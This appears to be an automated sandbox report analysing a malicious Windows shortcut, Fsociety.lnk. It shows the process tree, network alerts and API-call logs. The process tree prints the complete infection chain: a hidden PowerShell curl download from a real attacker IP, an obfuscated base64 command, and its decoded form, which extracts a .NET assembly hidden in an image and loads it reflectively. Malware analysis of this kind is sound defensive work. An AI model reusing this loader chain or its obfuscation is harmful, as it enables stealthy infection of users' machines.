Summary | ZeroBOX

Fsociety.lnk

Generic Malware Antivirus Hide_URL GIF Format Lnk Format AntiDebug AntiVM PowerShell
Category Machine Started Completed
FILE s1_win7_x6402 Aug. 25, 2023, 9:34 a.m. Aug. 25, 2023, 9:36 a.m.
Size 1.8KB
Type MS Windows shortcut, Item id list present, Points to a file or directory, Has Description string, Has Relative path, Has Working directory, Has command line arguments, Icon number=13, Archive, ctime=Sat May 20 19:50:25 2023, mtime=Thu Aug 24 00:46:08 2023, atime=Sat May 20 19:50:25 2023, length=461824, window=hidenormalshowminimized
MD5 e3d4d8caa4456f8262afcbdb5c689526
SHA256 6f2aefd2c551d6a7d8e2f4c3de8cfc65a269895468d9a6edc10390fb18f8a81c
CRC32 67F9E26A
ssdeep 24:8np2s4lVnKIGlQy/o+tKO/OW/zUUCuoUW7r+/CWl+/CWE+/CWLTH4+eUMkWk+wY/:8aVvGlQyTv/2IpdPHM/B7QdNQ
Yara
  • lnk_file_format - Microsoft Windows Shortcut File Format
  • Lnk_Format_Zero - LNK Format
  • Antivirus - Contains references to security software
  • Generic_Malware_Zero - Generic Malware

  • cmd.exe "C:\Windows\System32\cmd.exe" /c start /wait "HIxFWZd" C:\Users\test22\AppData\Local\Temp\Fsociety.lnk

    3008
    • powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -WindowStyle Hidden curl http://192.210.175.4/TSTA/1/IE_root.vbs -o C:\Windows\Temp\Debug.vbs ;Start-Process C:\Windows\Temp\Debug.vbs

      2204
      • powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden curl http://192.210.175.4/TSTA/1/IE_root.vbs -o C:\Windows\Temp\Debug.vbs

        200
      • wscript.exe "C:\Windows\System32\WScript.exe" "C:\Windows\Temp\Debug.vbs"

        1588
        • powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'J⁂⇵Bp⁂⇵G0⁂⇵YQBn⁂⇵GU⁂⇵VQBy⁂⇵Gw⁂⇵I⁂⇵⁂⇵9⁂⇵C⁂⇵⁂⇵JwBo⁂⇵HQ⁂⇵d⁂⇵Bw⁂⇵HM⁂⇵Og⁂⇵v⁂⇵C8⁂⇵dQBw⁂⇵Gw⁂⇵bwBh⁂⇵GQ⁂⇵Z⁂⇵Bl⁂⇵Gk⁂⇵bQBh⁂⇵Gc⁂⇵ZQBu⁂⇵HM⁂⇵LgBj⁂⇵G8⁂⇵bQ⁂⇵u⁂⇵GI⁂⇵cg⁂⇵v⁂⇵Gk⁂⇵bQBh⁂⇵Gc⁂⇵ZQBz⁂⇵C8⁂⇵M⁂⇵⁂⇵w⁂⇵DQ⁂⇵Lw⁂⇵1⁂⇵DU⁂⇵OQ⁂⇵v⁂⇵DU⁂⇵MQ⁂⇵w⁂⇵C8⁂⇵bwBy⁂⇵Gk⁂⇵ZwBp⁂⇵G4⁂⇵YQBs⁂⇵C8⁂⇵cgB1⁂⇵G0⁂⇵c⁂⇵Bf⁂⇵H⁂⇵⁂⇵cgBp⁂⇵HY⁂⇵YQB0⁂⇵GU⁂⇵LgBq⁂⇵H⁂⇵⁂⇵Zw⁂⇵/⁂⇵DE⁂⇵Ng⁂⇵5⁂⇵D⁂⇵⁂⇵NQ⁂⇵w⁂⇵DQ⁂⇵MQ⁂⇵y⁂⇵Dk⁂⇵Jw⁂⇵7⁂⇵CQ⁂⇵dwBl⁂⇵GI⁂⇵QwBs⁂⇵Gk⁂⇵ZQBu⁂⇵HQ⁂⇵I⁂⇵⁂⇵9⁂⇵C⁂⇵⁂⇵TgBl⁂⇵Hc⁂⇵LQBP⁂⇵GI⁂⇵agBl⁂⇵GM⁂⇵d⁂⇵⁂⇵g⁂⇵FM⁂⇵eQBz⁂⇵HQ⁂⇵ZQBt⁂⇵C4⁂⇵TgBl⁂⇵HQ⁂⇵LgBX⁂⇵GU⁂⇵YgBD⁂⇵Gw⁂⇵aQBl⁂⇵G4⁂⇵d⁂⇵⁂⇵7⁂⇵CQ⁂⇵aQBt⁂⇵GE⁂⇵ZwBl⁂⇵EI⁂⇵eQB0⁂⇵GU⁂⇵cw⁂⇵g⁂⇵D0⁂⇵I⁂⇵⁂⇵k⁂⇵Hc⁂⇵ZQBi⁂⇵EM⁂⇵b⁂⇵Bp⁂⇵GU⁂⇵bgB0⁂⇵C4⁂⇵R⁂⇵Bv⁂⇵Hc⁂⇵bgBs⁂⇵G8⁂⇵YQBk⁂⇵EQ⁂⇵YQB0⁂⇵GE⁂⇵K⁂⇵⁂⇵k⁂⇵Gk⁂⇵bQBh⁂⇵Gc⁂⇵ZQBV⁂⇵HI⁂⇵b⁂⇵⁂⇵p⁂⇵Ds⁂⇵J⁂⇵Bp⁂⇵G0⁂⇵YQBn⁂⇵GU⁂⇵V⁂⇵Bl⁂⇵Hg⁂⇵d⁂⇵⁂⇵g⁂⇵D0⁂⇵I⁂⇵Bb⁂⇵FM⁂⇵eQBz⁂⇵HQ⁂⇵ZQBt⁂⇵C4⁂⇵V⁂⇵Bl⁂⇵Hg⁂⇵d⁂⇵⁂⇵u⁂⇵EU⁂⇵bgBj⁂⇵G8⁂⇵Z⁂⇵Bp⁂⇵G4⁂⇵ZwBd⁂⇵Do⁂⇵OgBV⁂⇵FQ⁂⇵Rg⁂⇵4⁂⇵C4⁂⇵RwBl⁂⇵HQ⁂⇵UwB0⁂⇵HI⁂⇵aQBu⁂⇵Gc⁂⇵K⁂⇵⁂⇵k⁂⇵Gk⁂⇵bQBh⁂⇵Gc⁂⇵ZQBC⁂⇵Hk⁂⇵d⁂⇵Bl⁂⇵HM⁂⇵KQ⁂⇵7⁂⇵CQ⁂⇵cwB0⁂⇵GE⁂⇵cgB0⁂⇵EY⁂⇵b⁂⇵Bh⁂⇵Gc⁂⇵I⁂⇵⁂⇵9⁂⇵C⁂⇵⁂⇵Jw⁂⇵8⁂⇵Dw⁂⇵QgBB⁂⇵FM⁂⇵RQ⁂⇵2⁂⇵DQ⁂⇵XwBT⁂⇵FQ⁂⇵QQBS⁂⇵FQ⁂⇵Pg⁂⇵+⁂⇵Cc⁂⇵Ow⁂⇵k⁂⇵GU⁂⇵bgBk⁂⇵EY⁂⇵b⁂⇵Bh⁂⇵Gc⁂⇵I⁂⇵⁂⇵9⁂⇵C⁂⇵⁂⇵Jw⁂⇵8⁂⇵Dw⁂⇵QgBB⁂⇵FM⁂⇵RQ⁂⇵2⁂⇵DQ⁂⇵XwBF⁂⇵E4⁂⇵R⁂⇵⁂⇵+⁂⇵D4⁂⇵Jw⁂⇵7⁂⇵CQ⁂⇵cwB0⁂⇵GE⁂⇵cgB0⁂⇵Ek⁂⇵bgBk⁂⇵GU⁂⇵e⁂⇵⁂⇵g⁂⇵D0⁂⇵I⁂⇵⁂⇵k⁂⇵Gk⁂⇵bQBh⁂⇵Gc⁂⇵ZQBU⁂⇵GU⁂⇵e⁂⇵B0⁂⇵C4⁂⇵SQBu⁂⇵GQ⁂⇵ZQB4⁂⇵E8⁂⇵Zg⁂⇵o⁂⇵CQ⁂⇵cwB0⁂⇵GE⁂⇵cgB0⁂⇵EY⁂⇵b⁂⇵Bh⁂⇵Gc⁂⇵KQ⁂⇵7⁂⇵CQ⁂⇵ZQBu⁂⇵GQ⁂⇵SQBu⁂⇵GQ⁂⇵ZQB4⁂⇵C⁂⇵⁂⇵PQ⁂⇵g⁂⇵CQ⁂⇵aQBt⁂⇵GE⁂⇵ZwBl⁂⇵FQ⁂⇵ZQB4⁂⇵HQ⁂⇵LgBJ⁂⇵G4⁂⇵Z⁂⇵Bl⁂⇵Hg⁂⇵TwBm⁂⇵Cg⁂⇵J⁂⇵Bl⁂⇵G4⁂⇵Z⁂⇵BG⁂⇵Gw⁂⇵YQBn⁂⇵Ck⁂⇵Ow⁂⇵k⁂⇵HM⁂⇵d⁂⇵Bh⁂⇵HI⁂⇵d⁂⇵BJ⁂⇵G4⁂⇵Z⁂⇵Bl⁂⇵Hg⁂⇵I⁂⇵⁂⇵t⁂⇵Gc⁂⇵ZQ⁂⇵g⁂⇵D⁂⇵⁂⇵I⁂⇵⁂⇵t⁂⇵GE⁂⇵bgBk⁂⇵C⁂⇵⁂⇵J⁂⇵Bl⁂⇵G4⁂⇵Z⁂⇵BJ⁂⇵G4⁂⇵Z⁂⇵Bl⁂⇵Hg⁂⇵I⁂⇵⁂⇵t⁂⇵Gc⁂⇵d⁂⇵⁂⇵g⁂⇵CQ⁂⇵cwB0⁂⇵GE⁂⇵cgB0⁂⇵Ek⁂⇵bgBk⁂⇵GU⁂⇵e⁂⇵⁂⇵7⁂⇵CQ⁂⇵cwB0⁂⇵GE⁂⇵cgB0⁂⇵Ek⁂⇵bgBk⁂⇵GU⁂⇵e⁂⇵⁂⇵g⁂⇵Cs⁂⇵PQ⁂⇵g⁂⇵CQ⁂⇵cwB0⁂⇵GE⁂⇵cgB0⁂⇵EY⁂⇵b⁂⇵Bh⁂⇵Gc⁂⇵LgBM⁂⇵GU⁂⇵bgBn⁂⇵HQ⁂⇵a⁂⇵⁂⇵7⁂⇵CQ⁂⇵YgBh⁂⇵HM⁂⇵ZQ⁂⇵2⁂⇵DQ⁂⇵T⁂⇵Bl⁂⇵G4⁂⇵ZwB0⁂⇵Gg⁂⇵I⁂⇵⁂⇵9⁂⇵C⁂⇵⁂⇵J⁂⇵Bl⁂⇵G4⁂⇵Z⁂⇵BJ⁂⇵G4⁂⇵Z⁂⇵Bl⁂⇵Hg⁂⇵I⁂⇵⁂⇵t⁂⇵C⁂⇵⁂⇵J⁂⇵Bz⁂⇵HQ⁂⇵YQBy⁂⇵HQ⁂⇵SQBu⁂⇵GQ⁂⇵ZQB4⁂⇵Ds⁂⇵J⁂⇵Bi⁂⇵GE⁂⇵cwBl⁂⇵DY⁂⇵N⁂⇵BD⁂⇵G8⁂⇵bQBt⁂⇵GE⁂⇵bgBk⁂⇵C⁂⇵⁂⇵PQ⁂⇵g⁂⇵CQ⁂⇵aQBt⁂⇵GE⁂⇵ZwBl⁂⇵FQ⁂⇵ZQB4⁂⇵HQ⁂⇵LgBT⁂⇵HU⁂⇵YgBz⁂⇵HQ⁂⇵cgBp⁂⇵G4⁂⇵Zw⁂⇵o⁂⇵CQ⁂⇵cwB0⁂⇵GE⁂⇵cgB0⁂⇵Ek⁂⇵bgBk⁂⇵GU⁂⇵e⁂⇵⁂⇵s⁂⇵C⁂⇵⁂⇵J⁂⇵Bi⁂⇵GE⁂⇵cwBl⁂⇵DY⁂⇵N⁂⇵BM⁂⇵GU⁂⇵bgBn⁂⇵HQ⁂⇵a⁂⇵⁂⇵p⁂⇵Ds⁂⇵J⁂⇵Bj⁂⇵G8⁂⇵bQBt⁂⇵GE⁂⇵bgBk⁂⇵EI⁂⇵eQB0⁂⇵GU⁂⇵cw⁂⇵g⁂⇵D0⁂⇵I⁂⇵Bb⁂⇵FM⁂⇵eQBz⁂⇵HQ⁂⇵ZQBt⁂⇵C4⁂⇵QwBv⁂⇵G4⁂⇵dgBl⁂⇵HI⁂⇵d⁂⇵Bd⁂⇵Do⁂⇵OgBG⁂⇵HI⁂⇵bwBt⁂⇵EI⁂⇵YQBz⁂⇵GU⁂⇵Ng⁂⇵0⁂⇵FM⁂⇵d⁂⇵By⁂⇵Gk⁂⇵bgBn⁂⇵Cg⁂⇵J⁂⇵Bi⁂⇵GE⁂⇵cwBl⁂⇵DY⁂⇵N⁂⇵BD⁂⇵G8⁂⇵bQBt⁂⇵GE⁂⇵bgBk⁂⇵Ck⁂⇵Ow⁂⇵k⁂⇵Gw⁂⇵bwBh⁂⇵GQ⁂⇵ZQBk⁂⇵EE⁂⇵cwBz⁂⇵GU⁂⇵bQBi⁂⇵Gw⁂⇵eQ⁂⇵g⁂⇵D0⁂⇵I⁂⇵Bb⁂⇵FM⁂⇵eQBz⁂⇵HQ⁂⇵ZQBt⁂⇵C4⁂⇵UgBl⁂⇵GY⁂⇵b⁂⇵Bl⁂⇵GM⁂⇵d⁂⇵Bp⁂⇵G8⁂⇵bg⁂⇵u⁂⇵EE⁂⇵cwBz⁂⇵GU⁂⇵bQBi⁂⇵Gw⁂⇵eQBd⁂⇵Do⁂⇵OgBM⁂⇵G8⁂⇵YQBk⁂⇵Cg⁂⇵J⁂⇵Bj⁂⇵G8⁂⇵bQBt⁂⇵GE⁂⇵bgBk⁂⇵EI⁂⇵eQB0⁂⇵GU⁂⇵cw⁂⇵p⁂⇵Ds⁂⇵J⁂⇵B0⁂⇵Hk⁂⇵c⁂⇵Bl⁂⇵C⁂⇵⁂⇵PQ⁂⇵g⁂⇵CQ⁂⇵b⁂⇵Bv⁂⇵GE⁂⇵Z⁂⇵Bl⁂⇵GQ⁂⇵QQBz⁂⇵HM⁂⇵ZQBt⁂⇵GI⁂⇵b⁂⇵B5⁂⇵C4⁂⇵RwBl⁂⇵HQ⁂⇵V⁂⇵B5⁂⇵H⁂⇵⁂⇵ZQ⁂⇵o⁂⇵Cc⁂⇵RgBp⁂⇵GI⁂⇵ZQBy⁂⇵C4⁂⇵S⁂⇵Bv⁂⇵G0⁂⇵ZQ⁂⇵n⁂⇵Ck⁂⇵Ow⁂⇵k⁂⇵G0⁂⇵ZQB0⁂⇵Gg⁂⇵bwBk⁂⇵C⁂⇵⁂⇵PQ⁂⇵g⁂⇵CQ⁂⇵d⁂⇵B5⁂⇵H⁂⇵⁂⇵ZQ⁂⇵u⁂⇵Ec⁂⇵ZQB0⁂⇵E0⁂⇵ZQB0⁂⇵Gg⁂⇵bwBk⁂⇵Cg⁂⇵JwBW⁂⇵EE⁂⇵SQ⁂⇵n⁂⇵Ck⁂⇵Ow⁂⇵k⁂⇵GE⁂⇵cgBn⁂⇵HU⁂⇵bQBl⁂⇵G4⁂⇵d⁂⇵Bz⁂⇵C⁂⇵⁂⇵PQ⁂⇵g⁂⇵Cw⁂⇵K⁂⇵⁂⇵n⁂⇵HQ⁂⇵e⁂⇵B0⁂⇵C4⁂⇵S⁂⇵BC⁂⇵C8⁂⇵QQBU⁂⇵FM⁂⇵V⁂⇵⁂⇵v⁂⇵DQ⁂⇵Lg⁂⇵1⁂⇵Dc⁂⇵MQ⁂⇵u⁂⇵D⁂⇵⁂⇵MQ⁂⇵y⁂⇵C4⁂⇵Mg⁂⇵5⁂⇵DE⁂⇵Lw⁂⇵v⁂⇵Do⁂⇵c⁂⇵B0⁂⇵HQ⁂⇵a⁂⇵⁂⇵n⁂⇵Ck⁂⇵Ow⁂⇵k⁂⇵G0⁂⇵ZQB0⁂⇵Gg⁂⇵bwBk⁂⇵C4⁂⇵SQBu⁂⇵HY⁂⇵bwBr⁂⇵GU⁂⇵K⁂⇵⁂⇵k⁂⇵G4⁂⇵dQBs⁂⇵Gw⁂⇵L⁂⇵⁂⇵g⁂⇵CQ⁂⇵YQBy⁂⇵Gc⁂⇵dQBt⁂⇵GU⁂⇵bgB0⁂⇵HM⁂⇵KQ⁂⇵=';$OWjuxd = [system.Text.encoding]::Unicode.GetString( [system.Convert]::Frombase64String( $codigo.replace('⁂⇵','A') ) );powershell.exe -windowstyle hidden -executionpolicy bypss -NoProfile -command $OWjuxD

          2528
          • powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypss -NoProfile -command "$imageUrl = 'https://uploaddeimagens.com.br/images/004/559/510/original/rump_private.jpg?1690504129';$webClient = New-Object System.Net.WebClient;$imageBytes = $webClient.DownloadData($imageUrl);$imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes);$startFlag = '<<BASE64_START>>';$endFlag = '<<BASE64_END>>';$startIndex = $imageText.IndexOf($startFlag);$endIndex = $imageText.IndexOf($endFlag);$startIndex -ge 0 -and $endIndex -gt $startIndex;$startIndex += $startFlag.Length;$base64Length = $endIndex - $startIndex;$base64Command = $imageText.Substring($startIndex, $base64Length);$commandBytes = [System.Convert]::FromBase64String($base64Command);$loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes);$type = $loadedAssembly.GetType('Fiber.Home');$method = $type.GetMethod('VAI');$arguments = ,('txt.HB/ATST/4.571.012.291//:ptth');$method.Invoke($null, $arguments)"

            1392

IP Address Status Action
104.21.45.138 Active Moloch
164.124.101.2 Active Moloch
192.210.175.4 Active Moloch
61.111.58.35 Active Moloch

Suricata Alerts

Flow SID Signature Category
TCP 192.168.56.102:49172 -> 104.21.45.138:443 906200054 SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) undefined
TCP 192.168.56.102:49166 -> 192.210.175.4:80 2027260 ET INFO Dotted Quad Host VBS Request Potentially Bad Traffic
TCP 192.168.56.102:49166 -> 192.210.175.4:80 2013028 ET POLICY curl User-Agent Outbound Attempted Information Leak
TCP 192.168.56.102:49166 -> 192.210.175.4:80 2034567 ET HUNTING curl User-Agent to Dotted Quad Potentially Bad Traffic

Suricata TLS

Flow Issuer Subject Fingerprint
TLSv1
192.168.56.102:49172
104.21.45.138:443
C=US, O=Let's Encrypt, CN=E1 CN=uploaddeimagens.com.br 67:68:c4:e4:aa:54:e1:fd:f0:50:01:73:1e:da:cf:48:0c:17:0d:34

Time & API Arguments Status Return Repeated

GetComputerNameW

computer_name: TEST22-PC
1 1 0

GetComputerNameW

computer_name: TEST22-PC
1 1 0

GetComputerNameW

computer_name: TEST22-PC
1 1 0

GetComputerNameW

computer_name: TEST22-PC
1 1 0

GetComputerNameW

computer_name: TEST22-PC
1 1 0

GetComputerNameW

computer_name: TEST22-PC
1 1 0

GetComputerNameA

computer_name: TEST22-PC
1 1 0

GetComputerNameW

computer_name: TEST22-PC
1 1 0

GetComputerNameW

computer_name: TEST22-PC
1 1 0

GetComputerNameW

computer_name: TEST22-PC
1 1 0

GetComputerNameW

computer_name: TEST22-PC
1 1 0

GetComputerNameW

computer_name: TEST22-PC
1 1 0

GetComputerNameA

computer_name: TEST22-PC
1 1 0

GetComputerNameW

computer_name: TEST22-PC
1 1 0

GetComputerNameW

computer_name: TEST22-PC
1 1 0

GetComputerNameW

computer_name: TEST22-PC
1 1 0

GetComputerNameW

computer_name: TEST22-PC
1 1 0

GetComputerNameW

computer_name: TEST22-PC
1 1 0

GetComputerNameA

computer_name: TEST22-PC
1 1 0

GetComputerNameW

computer_name: TEST22-PC
1 1 0

GetComputerNameW

computer_name: TEST22-PC
1 1 0

GetComputerNameW

computer_name: TEST22-PC
1 1 0

GetComputerNameW

computer_name: TEST22-PC
1 1 0

GetComputerNameW

computer_name: TEST22-PC
1 1 0

GetComputerNameA

computer_name: TEST22-PC
1 1 0

GetComputerNameW

computer_name: TEST22-PC
1 1 0

GetComputerNameW

computer_name: TEST22-PC
1 1 0
Time & API Arguments Status Return Repeated

IsDebuggerPresent

0 0

IsDebuggerPresent

0 0

IsDebuggerPresent

0 0

IsDebuggerPresent

0 0
Time & API Arguments Status Return Repeated

WriteConsoleW

buffer: Exception calling "DownloadData" with "1" argument(s): "The underlying connecti
console_handle: 0x00000023
1 1 0

WriteConsoleW

buffer: on was closed: Could not establish trust relationship for the SSL/TLS secure ch
console_handle: 0x0000002f
1 1 0

WriteConsoleW

buffer: annel."
console_handle: 0x0000003b
1 1 0

WriteConsoleW

buffer: At line:1 char:184
console_handle: 0x00000047
1 1 0

WriteConsoleW

buffer: + $imageUrl = 'https://uploaddeimagens.com.br/images/004/559/510/original/rump_
console_handle: 0x00000053
1 1 0

WriteConsoleW

buffer: private.jpg?1690504129';$webClient = New-Object System.Net.WebClient;$imageByte
console_handle: 0x0000005f
1 1 0

WriteConsoleW

buffer: s = $webClient.DownloadData <<<< ($imageUrl);$imageText = [System.Text.Encoding
console_handle: 0x0000006b
1 1 0

WriteConsoleW

buffer: ]::UTF8.GetString($imageBytes);$startFlag = '<<BASE64_START>>';$endFlag = '<<BA
console_handle: 0x00000077
1 1 0

WriteConsoleW

buffer: SE64_END>>';$startIndex = $imageText.IndexOf($startFlag);$endIndex = $imageText
console_handle: 0x00000083
1 1 0

WriteConsoleW

buffer: .IndexOf($endFlag);$startIndex -ge 0 -and $endIndex -gt $startIndex;$startIndex
console_handle: 0x0000008f
1 1 0

WriteConsoleW

buffer: += $startFlag.Length;$base64Length = $endIndex - $startIndex;$base64Command =
console_handle: 0x0000009b
1 1 0

WriteConsoleW

buffer: $imageText.Substring($startIndex, $base64Length);$commandBytes = [System.Conver
console_handle: 0x000000a7
1 1 0

WriteConsoleW

buffer: t]::FromBase64String($base64Command);$loadedAssembly = [System.Reflection.Assem
console_handle: 0x000000b3
1 1 0

WriteConsoleW

buffer: bly]::Load($commandBytes);$type = $loadedAssembly.GetType('Fiber.Home');$method
console_handle: 0x000000bf
1 1 0

WriteConsoleW

buffer: = $type.GetMethod('VAI');$arguments = ,('txt.HB/ATST/4.571.012.291//:ptth');$m
console_handle: 0x000000cb
1 1 0

WriteConsoleW

buffer: ethod.Invoke($null, $arguments)
console_handle: 0x000000d7
1 1 0

WriteConsoleW

buffer: + CategoryInfo : NotSpecified: (:) [], MethodInvocationException
console_handle: 0x000000e3
1 1 0

WriteConsoleW

buffer: + FullyQualifiedErrorId : DotNetMethodException
console_handle: 0x000000ef
1 1 0

WriteConsoleW

buffer: Exception calling "GetString" with "1" argument(s): "Array cannot be null.
console_handle: 0x0000010f
1 1 0

WriteConsoleW

buffer: Parameter name: bytes"
console_handle: 0x0000011b
1 1 0

WriteConsoleW

buffer: At line:1 char:247
console_handle: 0x00000127
1 1 0

WriteConsoleW

buffer: + $imageUrl = 'https://uploaddeimagens.com.br/images/004/559/510/original/rump_
console_handle: 0x00000133
1 1 0

WriteConsoleW

buffer: private.jpg?1690504129';$webClient = New-Object System.Net.WebClient;$imageByte
console_handle: 0x0000013f
1 1 0

WriteConsoleW

buffer: s = $webClient.DownloadData($imageUrl);$imageText = [System.Text.Encoding]::UTF
console_handle: 0x0000014b
1 1 0

WriteConsoleW

buffer: 8.GetString <<<< ($imageBytes);$startFlag = '<<BASE64_START>>';$endFlag = '<<BA
console_handle: 0x00000157
1 1 0

WriteConsoleW

buffer: SE64_END>>';$startIndex = $imageText.IndexOf($startFlag);$endIndex = $imageText
console_handle: 0x00000163
1 1 0

WriteConsoleW

buffer: .IndexOf($endFlag);$startIndex -ge 0 -and $endIndex -gt $startIndex;$startIndex
console_handle: 0x0000016f
1 1 0

WriteConsoleW

buffer: += $startFlag.Length;$base64Length = $endIndex - $startIndex;$base64Command =
console_handle: 0x0000017b
1 1 0

WriteConsoleW

buffer: $imageText.Substring($startIndex, $base64Length);$commandBytes = [System.Conver
console_handle: 0x00000187
1 1 0

WriteConsoleW

buffer: t]::FromBase64String($base64Command);$loadedAssembly = [System.Reflection.Assem
console_handle: 0x00000193
1 1 0

WriteConsoleW

buffer: bly]::Load($commandBytes);$type = $loadedAssembly.GetType('Fiber.Home');$method
console_handle: 0x0000019f
1 1 0

WriteConsoleW

buffer: = $type.GetMethod('VAI');$arguments = ,('txt.HB/ATST/4.571.012.291//:ptth');$m
console_handle: 0x000001ab
1 1 0

WriteConsoleW

buffer: ethod.Invoke($null, $arguments)
console_handle: 0x000001b7
1 1 0

WriteConsoleW

buffer: + CategoryInfo : NotSpecified: (:) [], MethodInvocationException
console_handle: 0x000001c3
1 1 0

WriteConsoleW

buffer: + FullyQualifiedErrorId : DotNetMethodException
console_handle: 0x000001cf
1 1 0

WriteConsoleW

buffer: You cannot call a method on a null-valued expression.
console_handle: 0x000001ef
1 1 0

WriteConsoleW

buffer: At line:1 char:353
console_handle: 0x000001fb
1 1 0

WriteConsoleW

buffer: + $imageUrl = 'https://uploaddeimagens.com.br/images/004/559/510/original/rump_
console_handle: 0x00000207
1 1 0

WriteConsoleW

buffer: private.jpg?1690504129';$webClient = New-Object System.Net.WebClient;$imageByte
console_handle: 0x00000213
1 1 0

WriteConsoleW

buffer: s = $webClient.DownloadData($imageUrl);$imageText = [System.Text.Encoding]::UTF
console_handle: 0x0000021f
1 1 0

WriteConsoleW

buffer: 8.GetString($imageBytes);$startFlag = '<<BASE64_START>>';$endFlag = '<<BASE64_E
console_handle: 0x0000022b
1 1 0

WriteConsoleW

buffer: ND>>';$startIndex = $imageText.IndexOf <<<< ($startFlag);$endIndex = $imageText
console_handle: 0x00000237
1 1 0

WriteConsoleW

buffer: .IndexOf($endFlag);$startIndex -ge 0 -and $endIndex -gt $startIndex;$startIndex
console_handle: 0x00000243
1 1 0

WriteConsoleW

buffer: += $startFlag.Length;$base64Length = $endIndex - $startIndex;$base64Command =
console_handle: 0x0000024f
1 1 0

WriteConsoleW

buffer: $imageText.Substring($startIndex, $base64Length);$commandBytes = [System.Conver
console_handle: 0x0000025b
1 1 0

WriteConsoleW

buffer: t]::FromBase64String($base64Command);$loadedAssembly = [System.Reflection.Assem
console_handle: 0x00000267
1 1 0

WriteConsoleW

buffer: bly]::Load($commandBytes);$type = $loadedAssembly.GetType('Fiber.Home');$method
console_handle: 0x00000273
1 1 0

WriteConsoleW

buffer: = $type.GetMethod('VAI');$arguments = ,('txt.HB/ATST/4.571.012.291//:ptth');$m
console_handle: 0x0000027f
1 1 0

WriteConsoleW

buffer: ethod.Invoke($null, $arguments)
console_handle: 0x0000028b
1 1 0

WriteConsoleW

buffer: + CategoryInfo : InvalidOperation: (IndexOf:String) [], RuntimeEx
console_handle: 0x00000297
1 1 0
Time & API Arguments Status Return Repeated

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x004e4160
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x004e49e0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x004e49e0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x004e49e0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x004e47a0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x004e47a0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x004e47a0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x004e47a0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x004e47a0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x004e47a0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x004e4620
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x004e4620
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x004e4620
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x004e45a0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x004e45a0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x004e45a0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x004e43e0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x004e45a0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x004e45a0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x004e45a0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x004e45a0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x004e45a0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x004e45a0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x004e45a0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x004e43e0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x004e43e0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x004e43e0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x004e43e0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x004e43e0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

